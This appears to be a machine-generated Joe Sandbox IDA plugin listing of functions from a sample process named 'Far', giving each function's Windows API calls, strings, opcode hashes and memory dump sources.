API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 900ad2697ce2ea82fe584a0676bc31a5df0f5fe6db6c8f4ec2f5a0c0bb17d0a6
Instruction ID: 26f1449f663de4485b9666d4d93d55a2422bdfb2c4b3617acb89c0e5b8f1aa65
Opcode Fuzzy Hash: 900ad2697ce2ea82fe584a0676bc31a5df0f5fe6db6c8f4ec2f5a0c0bb17d0a6
Instruction Fuzzy Hash: 0A318C3260DB8996D7609F42E4807AAB3A4FB89F90F94403ADE8D03B18EF3DD445DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0CB93C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73D0CB9BC
FindClose.KERNEL32 ref: 00007FF73D0CBADD

Part of subcall function 00007FF73D0C4828: GetInputState.USER32 ref: 00007FF73D0C488D
Part of subcall function 00007FF73D0C4828: PeekMessageW.USER32 ref: 00007FF73D0C493C

Sleep.KERNEL32 ref: 00007FF73D0CBA01
FindNextFileW.KERNEL32 ref: 00007FF73D0CBAC8

Strings

*.*, xrefs: 00007FF73D0CB97B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: d505a2bbc2439ca57ac19ca0228fc4a5f6b7f038627f32eaf51b84cee045cf14
Instruction ID: d01aaf35efce51c8acf9023948bff1ece5b2f874f22225fa3d99a398251eb8eb
Opcode Fuzzy Hash: d505a2bbc2439ca57ac19ca0228fc4a5f6b7f038627f32eaf51b84cee045cf14
Instruction Fuzzy Hash: AE51A232A4CB8AA5EB10EBA5E4442EDA7B4FB44B94F940132DE8D07799EF38E505D710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D51A0 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0D6F2C: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF73D0D4927), ref: 00007FF73D0D6F79

socket.WSOCK32 ref: 00007FF73D0D5228
WSAGetLastError.WSOCK32 ref: 00007FF73D0D5259

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: e40859ed205d5a67b8b7ab83a2af8bf2a316fdca0d5faf15f367f26f9856b194
Instruction ID: a36c1b81b84d858902494edcf1676dbc60c8835f4555e71241f55407cad1bb33
Opcode Fuzzy Hash: e40859ed205d5a67b8b7ab83a2af8bf2a316fdca0d5faf15f367f26f9856b194
Instruction Fuzzy Hash: 8851D162B0C66A91DA14FBA79418A7DABA0BF89FD4F844531DE5D07386EF3CD4009B90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D077DEC Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73D077F3E

Strings

fmod, xrefs: 00007FF73D077F08
!, xrefs: 00007FF73D077F2A
VUUU, xrefs: 00007FF73D07800B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: b8410c3f1b88abd648b799c913eeb8fb9721d9563882b3ac93a21b2ebb7bfe42
Instruction ID: 05701e315bf9e37d7a18f69e49eb3e805ec7dd5fa007d47701d85f0638004860
Opcode Fuzzy Hash: b8410c3f1b88abd648b799c913eeb8fb9721d9563882b3ac93a21b2ebb7bfe42
Instruction Fuzzy Hash: 75B10A22A1CFC945D6B39A3450513B6F359AFAA7D0F54C332E94E36B64EF2C94C29700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0832B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0832F0

Part of subcall function 00007FF73D07B634: GetCurrentProcess.KERNEL32(00007FF73D07B7A5), ref: 00007FF73D07B661

Strings

*, xrefs: 00007FF73D083317
., xrefs: 00007FF73D083728
., xrefs: 00007FF73D083737

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *$.$.
API String ID: 2518042432-2112782162
Opcode ID: 7ae6e2be245aeddca2c0195725dd636afbbec9d989a621de775cf780711f472a
Instruction ID: d46ad6d7fd884bf4ab2db134847db53159fa2f920e3bf23a6f15bbda57e88c37
Opcode Fuzzy Hash: 7ae6e2be245aeddca2c0195725dd636afbbec9d989a621de775cf780711f472a
Instruction Fuzzy Hash: 9F51DD62F18A59A5FB11EBB6D8011BDA7A0FB84FC8F944035CE5D57B85EF38E0429320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0CFA30 Relevance: 3.1, APIs: 2, Instructions: 97networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET ref: 00007FF73D0CFA65
InternetReadFile.WININET ref: 00007FF73D0CFAAE

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: fb946aec191f3132c6662a59ee05687d82e837f2b2afad4b1d8baf50c6fb7044
Instruction ID: aedd5298385d0e413e51d1558eb131c9c69e2bd09fad10d353331e88c847e3e5
Opcode Fuzzy Hash: fb946aec191f3132c6662a59ee05687d82e837f2b2afad4b1d8baf50c6fb7044
Instruction Fuzzy Hash: 4E31B432B09B0A95FB18EEA6D5607BDA791EF84F88F544035DE4D4BB98EF38D4419310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AD940 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32 ref: 00007FF73D0AD967
CloseHandle.KERNEL32 ref: 00007FF73D0AD97F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: bd7c1815c1727510bd4d2c59687871d6f645ecb7b67c54ddc1a508cd09ec4df0
Instruction ID: ac1611c19df1174aa98b6e628e908a55f445a54b19430be67f9b8d2663cf0990
Opcode Fuzzy Hash: bd7c1815c1727510bd4d2c59687871d6f645ecb7b67c54ddc1a508cd09ec4df0
Instruction Fuzzy Hash: 98F0E566A1CB4981EB10EBE1D4553BDA360FBD8F88FA40131CE4D0B254DF3CC4869220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BA0F8 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32 ref: 00007FF73D0BA13D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: 23ad2a99a27041b75d4a6e08ff9df46d061b1ac21c3fab8cbd992897f1327a9a
Instruction ID: 660b5e942e12d9490abf617b8f4b9f676f1ae31a0472071e86241dc848a2dcd1
Opcode Fuzzy Hash: 23ad2a99a27041b75d4a6e08ff9df46d061b1ac21c3fab8cbd992897f1327a9a
Instruction Fuzzy Hash: 00F0BE6691C6C0C6D3609F55E48076AB7A0F798B8CF906129EB8947B64DB3EC10AAF04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D1B2C Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32 ref: 00007FF73D0D1B52

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: edf1f0c28d6ef0dfcdff3d413a05a63e7d123ccff5fc012c921d27a4ffbf2bcb
Instruction ID: 24a67bd2048b71cfaf109b2446cdabc4d6512196557816003f017ec8e7103c04
Opcode Fuzzy Hash: edf1f0c28d6ef0dfcdff3d413a05a63e7d123ccff5fc012c921d27a4ffbf2bcb
Instruction Fuzzy Hash: EDE0653260C20595EB446F65D09517DA2A0EB94F94F948031DE1D83342EF7CD4945711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0A1927 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF73D0A193C

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 3de9ffc50f4e6b18aa57c4de6b9e25af03ee9ccfcb8e96c5c1453a6c1efe1d48
Instruction ID: 3a12a1ab1ee061d42ea57641b9d0599f634eea4d5df305b6eed601fcc609737c
Opcode Fuzzy Hash: 3de9ffc50f4e6b18aa57c4de6b9e25af03ee9ccfcb8e96c5c1453a6c1efe1d48
Instruction Fuzzy Hash: EFC012B1A19655E9EB60DF60D8C41EC2331F70070CFD00022E60A0E46CEF789248D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EFA7C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF73D0EFAE4
SetTextColor.GDI32 ref: 00007FF73D0EFAEF
GetSysColorBrush.USER32 ref: 00007FF73D0EFB08
GetSysColor.USER32 ref: 00007FF73D0EFB1A
SetBkColor.GDI32 ref: 00007FF73D0EFB3B
SelectObject.GDI32 ref: 00007FF73D0EFB4A
InflateRect.USER32 ref: 00007FF73D0EFB6F
GetSysColor.USER32 ref: 00007FF73D0EFB7A
CreateSolidBrush.GDI32 ref: 00007FF73D0EFB82
FrameRect.USER32 ref: 00007FF73D0EFB95
DeleteObject.GDI32 ref: 00007FF73D0EFB9E
InflateRect.USER32 ref: 00007FF73D0EFBF3
FillRect.USER32 ref: 00007FF73D0EFC23
GetWindowLongW.USER32 ref: 00007FF73D0EFC42
SendMessageW.USER32(?,?,?,?,?,00000000), ref: 00007FF73D0EFC8F

Part of subcall function 00007FF73D0EFDD4: GetSysColor.USER32 ref: 00007FF73D0EFE1B
Part of subcall function 00007FF73D0EFDD4: SetTextColor.GDI32 ref: 00007FF73D0EFE26
Part of subcall function 00007FF73D0EFDD4: GetSysColorBrush.USER32 ref: 00007FF73D0EFE41
Part of subcall function 00007FF73D0EFDD4: GetSysColor.USER32 ref: 00007FF73D0EFE54
Part of subcall function 00007FF73D0EFDD4: GetSysColor.USER32 ref: 00007FF73D0EFE7F
Part of subcall function 00007FF73D0EFDD4: CreatePen.GDI32 ref: 00007FF73D0EFE96
Part of subcall function 00007FF73D0EFDD4: SelectObject.GDI32 ref: 00007FF73D0EFEA7
Part of subcall function 00007FF73D0EFDD4: SetBkColor.GDI32 ref: 00007FF73D0EFEB7
Part of subcall function 00007FF73D0EFDD4: SelectObject.GDI32 ref: 00007FF73D0EFECA
Part of subcall function 00007FF73D0EFDD4: InflateRect.USER32 ref: 00007FF73D0EFEF1
Part of subcall function 00007FF73D0EFDD4: RoundRect.GDI32 ref: 00007FF73D0EFF1D
Part of subcall function 00007FF73D0EFDD4: GetWindowLongW.USER32 ref: 00007FF73D0EFF2B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: c066962755f629327aca88249c31a8988b819b8614b7a9f9592194a52f7cd4b7
Instruction ID: 0db73b4434c434d7665157105517b1a54c7aee94346667e58d2c2cb6dbfc313e
Opcode Fuzzy Hash: c066962755f629327aca88249c31a8988b819b8614b7a9f9592194a52f7cd4b7
Instruction Fuzzy Hash: D9A1B332F0DA0996EB14ABA1D8945FD6765BB48FA4FA04334DE2E03BD4EF3C94849750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C5FF8 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF73D0C6029
GetDriveTypeW.KERNEL32 ref: 00007FF73D0C6186
SetErrorMode.KERNEL32 ref: 00007FF73D0C636B

Strings

SSA, xrefs: 00007FF73D0C629A
CDROM, xrefs: 00007FF73D0C61C1
Fixed, xrefs: 00007FF73D0C61D9
MMC, xrefs: 00007FF73D0C6302
1394, xrefs: 00007FF73D0C62A6
ATA, xrefs: 00007FF73D0C62AF
Virtual, xrefs: 00007FF73D0C62F9
Unknown, xrefs: 00007FF73D0C61A9
PhysicalDrive, xrefs: 00007FF73D0C60BD
RAID, xrefs: 00007FF73D0C62CA
SAS, xrefs: 00007FF73D0C631D
FileBackedVirtual, xrefs: 00007FF73D0C62F0
Removable, xrefs: 00007FF73D0C61E5
SSD, xrefs: 00007FF73D0C6225
ATAPI, xrefs: 00007FF73D0C62B8
iSCSI, xrefs: 00007FF73D0C6326
Network, xrefs: 00007FF73D0C61CD
SATA, xrefs: 00007FF73D0C6314
USB, xrefs: 00007FF73D0C6282
SCSI, xrefs: 00007FF73D0C62C1
\\.\, xrefs: 00007FF73D0C6076
RAMDisk, xrefs: 00007FF73D0C61B5
Fibre, xrefs: 00007FF73D0C628E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 617a1be5dd11bf608c88a10b9df0de3a78dacd87693d9fd6c31de8c6b5f1cf8d
Instruction ID: ff17f0afab9fa13b93fc0a3df0094ebf807c7baa5f8fbc90019743007b478275
Opcode Fuzzy Hash: 617a1be5dd11bf608c88a10b9df0de3a78dacd87693d9fd6c31de8c6b5f1cf8d
Instruction Fuzzy Hash: 72B18F61A0CA0BB1FA75FBE5D8540BCA761BB40F84BD44032D94E0B6A5FF2CE945E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EFDD4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF73D0EFE1B
SetTextColor.GDI32 ref: 00007FF73D0EFE26
GetSysColorBrush.USER32 ref: 00007FF73D0EFE41
GetSysColor.USER32 ref: 00007FF73D0EFE54
CreateSolidBrush.GDI32 ref: 00007FF73D0EFE5E
GetSysColor.USER32 ref: 00007FF73D0EFE7F
CreatePen.GDI32 ref: 00007FF73D0EFE96
SelectObject.GDI32 ref: 00007FF73D0EFEA7
SetBkColor.GDI32 ref: 00007FF73D0EFEB7
SelectObject.GDI32 ref: 00007FF73D0EFECA
InflateRect.USER32 ref: 00007FF73D0EFEF1
RoundRect.GDI32 ref: 00007FF73D0EFF1D
GetWindowLongW.USER32 ref: 00007FF73D0EFF2B
SendMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73D0EFAAC), ref: 00007FF73D0EFF78
GetWindowTextW.USER32 ref: 00007FF73D0EFFB0
InflateRect.USER32 ref: 00007FF73D0EFFD3
DrawFocusRect.USER32 ref: 00007FF73D0EFFE1
GetSysColor.USER32 ref: 00007FF73D0EFFF0
SetTextColor.GDI32 ref: 00007FF73D0EFFFB
DrawTextW.USER32 ref: 00007FF73D0F0019
SelectObject.GDI32 ref: 00007FF73D0F0037
DeleteObject.GDI32 ref: 00007FF73D0F0045
SelectObject.GDI32 ref: 00007FF73D0F0053
DeleteObject.GDI32 ref: 00007FF73D0F005E
SetTextColor.GDI32 ref: 00007FF73D0F006A
SetBkColor.GDI32 ref: 00007FF73D0F007A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: cc31ee28d4978ba1f41dc595b8e26fdd62ebf26b5052f35aa271b19cd4b59121
Instruction ID: 90a9bb54a56ac36cbd24f34e9943b444e7598e32304afc182d05076519620439
Opcode Fuzzy Hash: cc31ee28d4978ba1f41dc595b8e26fdd62ebf26b5052f35aa271b19cd4b59121
Instruction Fuzzy Hash: 06710532A0DA4992E750ABA1E8942BEB765FB88FA0F904334DD5E43794EF3CD444CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E8014 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF73D0E8158
GetDesktopWindow.USER32 ref: 00007FF73D0E8168
GetWindowRect.USER32 ref: 00007FF73D0E8176
GetWindowLongW.USER32 ref: 00007FF73D0E81D2
DestroyWindow.USER32 ref: 00007FF73D0E81F0
CreateWindowExW.USER32 ref: 00007FF73D0E8247
SendMessageW.USER32 ref: 00007FF73D0E8263
SendMessageW.USER32 ref: 00007FF73D0E827C
SendMessageW.USER32 ref: 00007FF73D0E8297
SendMessageW.USER32 ref: 00007FF73D0E82B4
IsWindowVisible.USER32 ref: 00007FF73D0E8306
SendMessageW.USER32 ref: 00007FF73D0E832A
SendMessageW.USER32 ref: 00007FF73D0E8345
GetWindowRect.USER32 ref: 00007FF73D0E8360
MonitorFromPoint.USER32 ref: 00007FF73D0E8384
GetMonitorInfoW.USER32 ref: 00007FF73D0E8398
CopyRect.USER32 ref: 00007FF73D0E83AB
SendMessageW.USER32 ref: 00007FF73D0E8410

Strings

tooltips_class32, xrefs: 00007FF73D0E8209

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: tooltips_class32
API String ID: 698492251-1918224756
Opcode ID: 1fcb7338df747eb9bd36a521c327ea9645d6f5b2f5e3bdfd7e898ab82031a655
Instruction ID: 9cb23011abfaf590cff11c315e59d74cf24be4d9fc22972b6918aceeb994d972
Opcode Fuzzy Hash: 1fcb7338df747eb9bd36a521c327ea9645d6f5b2f5e3bdfd7e898ab82031a655
Instruction Fuzzy Hash: ACC15F32A08B499AEB14DFA5E4842AEB7B0FB88F84F900035DA5E47755EF7CE441DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B3898 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00007FF73D0B38C6
SendMessageW.USER32 ref: 00007FF73D0B38DE
SetWindowTextW.USER32 ref: 00007FF73D0B38F7
GetDlgItem.USER32 ref: 00007FF73D0B390F
SetWindowTextW.USER32 ref: 00007FF73D0B391C
GetDlgItem.USER32 ref: 00007FF73D0B3936
SetWindowTextW.USER32 ref: 00007FF73D0B3943
SendDlgItemMessageW.USER32 ref: 00007FF73D0B3968
SendDlgItemMessageW.USER32 ref: 00007FF73D0B398B
GetWindowRect.USER32 ref: 00007FF73D0B399C
SetWindowTextW.USER32 ref: 00007FF73D0B3A3D
GetDesktopWindow.USER32 ref: 00007FF73D0B3A43
GetWindowRect.USER32 ref: 00007FF73D0B3A50
MoveWindow.USER32 ref: 00007FF73D0B3AA8
GetClientRect.USER32 ref: 00007FF73D0B3AB9
PostMessageW.USER32 ref: 00007FF73D0B3AE8
SetTimer.USER32 ref: 00007FF73D0B3B19

Strings

@, xrefs: 00007FF73D0B3A5F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

